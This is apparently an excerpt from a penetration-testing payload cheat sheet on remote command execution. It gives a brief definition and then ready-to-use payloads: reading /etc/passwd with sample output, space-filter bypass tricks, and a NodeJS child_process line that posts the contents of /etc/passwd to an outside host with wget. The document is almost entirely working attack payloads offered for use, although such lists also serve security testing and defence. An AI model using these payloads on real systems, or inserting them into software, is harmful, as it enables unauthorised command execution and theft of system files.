PayloadsAllTheThings/Remote commands execution

Remote Code Execution

Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.

Exploits

Normal code execution

cat /etc/passwd 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh

Code execution without space

{cat,/etc/passwd}
cat$IFS/etc/passwd

NodeJS Code execution

require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')

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